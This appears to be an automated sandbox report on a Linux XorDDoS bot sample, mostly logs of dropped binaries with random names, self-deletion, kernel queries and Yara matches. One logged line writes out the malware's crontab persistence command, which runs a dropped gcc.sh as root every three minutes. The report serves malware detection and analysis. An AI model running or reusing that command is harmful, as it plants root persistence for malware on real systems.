Source: /tmp/0Xorddos.o (PID: 5222)	Reads from proc file: /proc/stat			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	Reads from proc file: /proc/meminfo			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	Reads from proc file: /proc/cpuinfo			Jump to behavior

Source: /sbin/update-rc.d (PID: 5232)

Systemctl executable: /bin/systemctl -> systemctl daemon-reload

Jump to behavior

Source: /tmp/0Xorddos.o (PID: 5227)

Shell command executed: sh -c "sed -i '/\\/etc\\/cron.hourly\\/gcc.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab"

Jump to behavior

Source: /tmp/0Xorddos.o (PID: 5222)

Writes shell script file to disk with an unusual file extension: /etc/init.d/0Xorddos.o

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/0Xorddos.o (PID: 5222)	File: /etc/init.d/0Xorddos.o			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/uqxezzsakx			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/cukrqcagnz			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/ysrkbnorkl			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/zareoppgxh			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/cvltgpdmgk			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/tngemhgnzk			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/njezqqgxiu			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/wzulpfbuxk			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/aoyymackpm			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/gbsknxiwip			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/gpcmhoiszu			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/qizbpqmtbi			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/cvvhpkxdyk			Jump to dropped file

Sample deletes itself

Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/uqxezzsakx			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/cukrqcagnz			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/ysrkbnorkl			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/zareoppgxh			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/cvltgpdmgk			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/tngemhgnzk			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/njezqqgxiu			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/wzulpfbuxk			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/aoyymackpm			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/gbsknxiwip			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/gpcmhoiszu			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/qizbpqmtbi			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/cvvhpkxdyk			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/oscovqjuil			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/cxictzyxcu			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/qfvvwlqqkq			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/yfmoszlrcg			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/ohcvvmubid			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /usr/bin/kswkpwzxrd			Jump to behavior
Source: /usr/bin/uqxezzsakx (PID: 5256)	File: /usr/bin/uqxezzsakx			Jump to behavior
Source: /usr/bin/uqxezzsakx (PID: 5263)	File: /usr/bin/uqxezzsakx			Jump to behavior
Source: /usr/bin/uqxezzsakx (PID: 5266)	File: /usr/bin/uqxezzsakx			Jump to behavior
Source: /usr/bin/uqxezzsakx (PID: 5269)	File: /usr/bin/uqxezzsakx			Jump to behavior
Source: /usr/bin/uqxezzsakx (PID: 5270)	File: /usr/bin/uqxezzsakx			Jump to behavior
Source: /usr/bin/cukrqcagnz (PID: 5275)	File: /usr/bin/cukrqcagnz			Jump to behavior
Source: /usr/bin/cukrqcagnz (PID: 5278)	File: /usr/bin/cukrqcagnz			Jump to behavior
Source: /usr/bin/cukrqcagnz (PID: 5283)	File: /usr/bin/cukrqcagnz			Jump to behavior
Source: /usr/bin/cukrqcagnz (PID: 5286)	File: /usr/bin/cukrqcagnz			Jump to behavior
Source: /usr/bin/cukrqcagnz (PID: 5287)	File: /usr/bin/cukrqcagnz			Jump to behavior
Source: /usr/bin/ysrkbnorkl (PID: 5293)	File: /usr/bin/ysrkbnorkl			Jump to behavior
Source: /usr/bin/ysrkbnorkl (PID: 5298)	File: /usr/bin/ysrkbnorkl			Jump to behavior
Source: /usr/bin/ysrkbnorkl (PID: 5301)	File: /usr/bin/ysrkbnorkl			Jump to behavior
Source: /usr/bin/ysrkbnorkl (PID: 5304)	File: /usr/bin/ysrkbnorkl			Jump to behavior
Source: /usr/bin/ysrkbnorkl (PID: 5305)	File: /usr/bin/ysrkbnorkl			Jump to behavior
Source: /usr/bin/zareoppgxh (PID: 5310)	File: /usr/bin/zareoppgxh			Jump to behavior
Source: /usr/bin/zareoppgxh (PID: 5315)	File: /usr/bin/zareoppgxh			Jump to behavior
Source: /usr/bin/zareoppgxh (PID: 5318)	File: /usr/bin/zareoppgxh			Jump to behavior
Source: /usr/bin/zareoppgxh (PID: 5321)	File: /usr/bin/zareoppgxh			Jump to behavior
Source: /usr/bin/zareoppgxh (PID: 5322)	File: /usr/bin/zareoppgxh			Jump to behavior
Source: /usr/bin/cvltgpdmgk (PID: 5328)	File: /usr/bin/cvltgpdmgk			Jump to behavior
Source: /usr/bin/cvltgpdmgk (PID: 5331)	File: /usr/bin/cvltgpdmgk			Jump to behavior
Source: /usr/bin/cvltgpdmgk (PID: 5336)	File: /usr/bin/cvltgpdmgk			Jump to behavior
Source: /usr/bin/cvltgpdmgk (PID: 5339)	File: /usr/bin/cvltgpdmgk			Jump to behavior
Source: /usr/bin/cvltgpdmgk (PID: 5342)	File: /usr/bin/cvltgpdmgk			Jump to behavior
Source: /usr/bin/tngemhgnzk (PID: 5347)	File: /usr/bin/tngemhgnzk			Jump to behavior
Source: /usr/bin/tngemhgnzk (PID: 5352)	File: /usr/bin/tngemhgnzk			Jump to behavior
Source: /usr/bin/tngemhgnzk (PID: 5355)	File: /usr/bin/tngemhgnzk			Jump to behavior
Source: /usr/bin/tngemhgnzk (PID: 5358)	File: /usr/bin/tngemhgnzk			Jump to behavior
Source: /usr/bin/tngemhgnzk (PID: 5359)	File: /usr/bin/tngemhgnzk			Jump to behavior
Source: /usr/bin/njezqqgxiu (PID: 5365)	File: /usr/bin/njezqqgxiu			Jump to behavior
Source: /usr/bin/njezqqgxiu (PID: 5368)	File: /usr/bin/njezqqgxiu			Jump to behavior
Source: /usr/bin/njezqqgxiu (PID: 5373)	File: /usr/bin/njezqqgxiu			Jump to behavior
Source: /usr/bin/njezqqgxiu (PID: 5376)	File: /usr/bin/njezqqgxiu			Jump to behavior
Source: /usr/bin/njezqqgxiu (PID: 5377)	File: /usr/bin/njezqqgxiu			Jump to behavior
Source: /usr/bin/wzulpfbuxk (PID: 5386)	File: /usr/bin/wzulpfbuxk			Jump to behavior
Source: /usr/bin/wzulpfbuxk (PID: 5391)	File: /usr/bin/wzulpfbuxk			Jump to behavior
Source: /usr/bin/wzulpfbuxk (PID: 5394)	File: /usr/bin/wzulpfbuxk			Jump to behavior
Source: /usr/bin/wzulpfbuxk (PID: 5397)	File: /usr/bin/wzulpfbuxk			Jump to behavior
Source: /usr/bin/wzulpfbuxk (PID: 5398)	File: /usr/bin/wzulpfbuxk			Jump to behavior
Source: /usr/bin/aoyymackpm (PID: 5403)	File: /usr/bin/aoyymackpm			Jump to behavior
Source: /usr/bin/aoyymackpm (PID: 5406)	File: /usr/bin/aoyymackpm			Jump to behavior
Source: /usr/bin/aoyymackpm (PID: 5409)	File: /usr/bin/aoyymackpm			Jump to behavior
Source: /usr/bin/aoyymackpm (PID: 5414)	File: /usr/bin/aoyymackpm			Jump to behavior
Source: /usr/bin/aoyymackpm (PID: 5415)	File: /usr/bin/aoyymackpm			Jump to behavior
Source: /usr/bin/gbsknxiwip (PID: 5420)	File: /usr/bin/gbsknxiwip			Jump to behavior
Source: /usr/bin/gbsknxiwip (PID: 5425)	File: /usr/bin/gbsknxiwip			Jump to behavior
Source: /usr/bin/gbsknxiwip (PID: 5430)	File: /usr/bin/gbsknxiwip			Jump to behavior
Source: /usr/bin/gbsknxiwip (PID: 5431)	File: /usr/bin/gbsknxiwip			Jump to behavior
Source: /usr/bin/gbsknxiwip (PID: 5432)	File: /usr/bin/gbsknxiwip			Jump to behavior
Source: /usr/bin/gpcmhoiszu (PID: 5437)	File: /usr/bin/gpcmhoiszu			Jump to behavior
Source: /usr/bin/gpcmhoiszu (PID: 5440)	File: /usr/bin/gpcmhoiszu			Jump to behavior
Source: /usr/bin/gpcmhoiszu (PID: 5443)	File: /usr/bin/gpcmhoiszu			Jump to behavior
Source: /usr/bin/gpcmhoiszu (PID: 5448)	File: /usr/bin/gpcmhoiszu			Jump to behavior
Source: /usr/bin/gpcmhoiszu (PID: 5451)	File: /usr/bin/gpcmhoiszu			Jump to behavior
Source: /usr/bin/qizbpqmtbi (PID: 5457)	File: /usr/bin/qizbpqmtbi			Jump to behavior
Source: /usr/bin/qizbpqmtbi (PID: 5462)	File: /usr/bin/qizbpqmtbi			Jump to behavior
Source: /usr/bin/qizbpqmtbi (PID: 5465)	File: /usr/bin/qizbpqmtbi			Jump to behavior
Source: /usr/bin/qizbpqmtbi (PID: 5468)	File: /usr/bin/qizbpqmtbi			Jump to behavior
Source: /usr/bin/qizbpqmtbi (PID: 5469)	File: /usr/bin/qizbpqmtbi			Jump to behavior
Source: /usr/bin/cvvhpkxdyk (PID: 5474)	File: /usr/bin/cvvhpkxdyk			Jump to behavior
Source: /usr/bin/cvvhpkxdyk (PID: 5477)	File: /usr/bin/cvvhpkxdyk			Jump to behavior
Source: /usr/bin/cvvhpkxdyk (PID: 5483)	File: /usr/bin/cvvhpkxdyk			Jump to behavior
Source: /usr/bin/cvvhpkxdyk (PID: 5485)	File: /usr/bin/cvvhpkxdyk			Jump to behavior
Source: /usr/bin/cvvhpkxdyk (PID: 5486)	File: /usr/bin/cvvhpkxdyk			Jump to behavior
Source: /usr/bin/oscovqjuil (PID: 5491)	File: /usr/bin/oscovqjuil			Jump to behavior
Source: /usr/bin/oscovqjuil (PID: 5494)	File: /usr/bin/oscovqjuil			Jump to behavior
Source: /usr/bin/oscovqjuil (PID: 5497)	File: /usr/bin/oscovqjuil			Jump to behavior
Source: /usr/bin/oscovqjuil (PID: 5503)	File: /usr/bin/oscovqjuil			Jump to behavior
Source: /usr/bin/oscovqjuil (PID: 5505)	File: /usr/bin/oscovqjuil			Jump to behavior
Source: /usr/bin/cxictzyxcu (PID: 5511)	File: /usr/bin/cxictzyxcu			Jump to behavior
Source: /usr/bin/cxictzyxcu (PID: 5514)	File: /usr/bin/cxictzyxcu			Jump to behavior
Source: /usr/bin/cxictzyxcu (PID: 5518)	File: /usr/bin/cxictzyxcu			Jump to behavior
Source: /usr/bin/cxictzyxcu (PID: 5520)	File: /usr/bin/cxictzyxcu			Jump to behavior
Source: /usr/bin/cxictzyxcu (PID: 5523)	File: /usr/bin/cxictzyxcu			Jump to behavior
Source: /usr/bin/qfvvwlqqkq (PID: 5528)	File: /usr/bin/qfvvwlqqkq			Jump to behavior
Source: /usr/bin/qfvvwlqqkq (PID: 5531)	File: /usr/bin/qfvvwlqqkq			Jump to behavior
Source: /usr/bin/qfvvwlqqkq (PID: 5535)	File: /usr/bin/qfvvwlqqkq			Jump to behavior
Source: /usr/bin/qfvvwlqqkq (PID: 5539)	File: /usr/bin/qfvvwlqqkq			Jump to behavior
Source: /usr/bin/qfvvwlqqkq (PID: 5541)	File: /usr/bin/qfvvwlqqkq			Jump to behavior
Source: /usr/bin/yfmoszlrcg (PID: 5548)	File: /usr/bin/yfmoszlrcg			Jump to behavior
Source: /usr/bin/yfmoszlrcg (PID: 5551)	File: /usr/bin/yfmoszlrcg			Jump to behavior
Source: /usr/bin/yfmoszlrcg (PID: 5556)	File: /usr/bin/yfmoszlrcg			Jump to behavior
Source: /usr/bin/yfmoszlrcg (PID: 5559)	File: /usr/bin/yfmoszlrcg			Jump to behavior
Source: /usr/bin/yfmoszlrcg (PID: 5560)	File: /usr/bin/yfmoszlrcg			Jump to behavior
Source: /usr/bin/ohcvvmubid (PID: 5567)	File: /usr/bin/ohcvvmubid			Jump to behavior
Source: /usr/bin/ohcvvmubid (PID: 5570)	File: /usr/bin/ohcvvmubid			Jump to behavior
Source: /usr/bin/ohcvvmubid (PID: 5573)	File: /usr/bin/ohcvvmubid			Jump to behavior
Source: /usr/bin/ohcvvmubid (PID: 5576)	File: /usr/bin/ohcvvmubid			Jump to behavior
Source: /usr/bin/ohcvvmubid (PID: 5577)	File: /usr/bin/ohcvvmubid			Jump to behavior

Source: /tmp/0Xorddos.o (PID: 5222)	Path: /etc/cron.hourly/gcc.sh			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	Path: /run/gcc.pid			Jump to dropped file

Source: /tmp/0Xorddos.o (PID: 5221)	Queries kernel information via 'uname':			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/uqxezzsakx (PID: 5255)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/uqxezzsakx (PID: 5260)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/uqxezzsakx (PID: 5262)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/uqxezzsakx (PID: 5265)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/uqxezzsakx (PID: 5268)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cukrqcagnz (PID: 5274)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cukrqcagnz (PID: 5277)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cukrqcagnz (PID: 5280)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cukrqcagnz (PID: 5282)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cukrqcagnz (PID: 5285)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/ysrkbnorkl (PID: 5292)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/ysrkbnorkl (PID: 5295)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/ysrkbnorkl (PID: 5297)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/ysrkbnorkl (PID: 5300)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/ysrkbnorkl (PID: 5303)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/zareoppgxh (PID: 5309)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/zareoppgxh (PID: 5312)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/zareoppgxh (PID: 5314)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/zareoppgxh (PID: 5317)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/zareoppgxh (PID: 5320)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cvltgpdmgk (PID: 5327)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cvltgpdmgk (PID: 5330)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cvltgpdmgk (PID: 5333)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cvltgpdmgk (PID: 5335)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cvltgpdmgk (PID: 5338)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/tngemhgnzk (PID: 5346)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/tngemhgnzk (PID: 5349)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/tngemhgnzk (PID: 5351)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/tngemhgnzk (PID: 5354)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/tngemhgnzk (PID: 5357)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/njezqqgxiu (PID: 5364)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/njezqqgxiu (PID: 5367)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/njezqqgxiu (PID: 5370)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/njezqqgxiu (PID: 5372)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/njezqqgxiu (PID: 5375)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/wzulpfbuxk (PID: 5385)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/wzulpfbuxk (PID: 5388)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/wzulpfbuxk (PID: 5390)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/wzulpfbuxk (PID: 5393)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/wzulpfbuxk (PID: 5396)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/aoyymackpm (PID: 5402)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/aoyymackpm (PID: 5405)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/aoyymackpm (PID: 5408)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/aoyymackpm (PID: 5411)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/aoyymackpm (PID: 5413)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/gbsknxiwip (PID: 5419)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/gbsknxiwip (PID: 5422)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/gbsknxiwip (PID: 5424)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/gbsknxiwip (PID: 5427)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/gbsknxiwip (PID: 5429)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/gpcmhoiszu (PID: 5436)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/gpcmhoiszu (PID: 5439)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/gpcmhoiszu (PID: 5442)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/gpcmhoiszu (PID: 5445)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/gpcmhoiszu (PID: 5447)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/qizbpqmtbi (PID: 5456)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/qizbpqmtbi (PID: 5459)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/qizbpqmtbi (PID: 5461)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/qizbpqmtbi (PID: 5464)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/qizbpqmtbi (PID: 5467)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cvvhpkxdyk (PID: 5473)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cvvhpkxdyk (PID: 5476)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cvvhpkxdyk (PID: 5479)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cvvhpkxdyk (PID: 5481)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cvvhpkxdyk (PID: 5484)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/oscovqjuil (PID: 5490)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/oscovqjuil (PID: 5493)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/oscovqjuil (PID: 5496)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/oscovqjuil (PID: 5499)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/oscovqjuil (PID: 5504)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cxictzyxcu (PID: 5510)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cxictzyxcu (PID: 5513)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cxictzyxcu (PID: 5516)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cxictzyxcu (PID: 5519)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/cxictzyxcu (PID: 5522)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/qfvvwlqqkq (PID: 5527)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/qfvvwlqqkq (PID: 5530)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/qfvvwlqqkq (PID: 5533)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/qfvvwlqqkq (PID: 5536)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/qfvvwlqqkq (PID: 5538)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/yfmoszlrcg (PID: 5547)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/yfmoszlrcg (PID: 5550)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/yfmoszlrcg (PID: 5553)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/yfmoszlrcg (PID: 5555)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/yfmoszlrcg (PID: 5558)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/ohcvvmubid (PID: 5564)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/ohcvvmubid (PID: 5566)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/ohcvvmubid (PID: 5569)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/ohcvvmubid (PID: 5572)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/ohcvvmubid (PID: 5575)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/kswkpwzxrd (PID: 5581)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/kswkpwzxrd (PID: 5583)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/kswkpwzxrd (PID: 5586)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/kswkpwzxrd (PID: 5588)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/bin/kswkpwzxrd (PID: 5591)	Queries kernel information via 'uname':			Jump to behavior

Source: /tmp/0Xorddos.o (PID: 5222)

Reads CPU info from proc file: /proc/cpuinfo

Jump to behavior

Remote Access Functionality

Yara detected XorDDoS Bot

Source: Yara match	File source: 0Xorddos.o, type: SAMPLE
Source: Yara match	File source: 5313.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5337.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5428.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5316.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5546.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5455.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5356.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5412.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5532.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5261.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5267.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5225.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5426.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5407.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5438.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5273.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5345.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5537.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5291.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5401.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5512.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5296.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5480.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5418.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5435.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5311.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5223.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5463.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5332.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5294.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5284.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5444.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5224.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5404.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5515.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5466.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5389.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5395.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5421.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5326.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5363.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5534.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5308.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5276.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5366.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5526.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5478.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5302.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5552.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5387.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5495.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5279.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5529.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5329.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5482.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5509.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5492.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5441.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
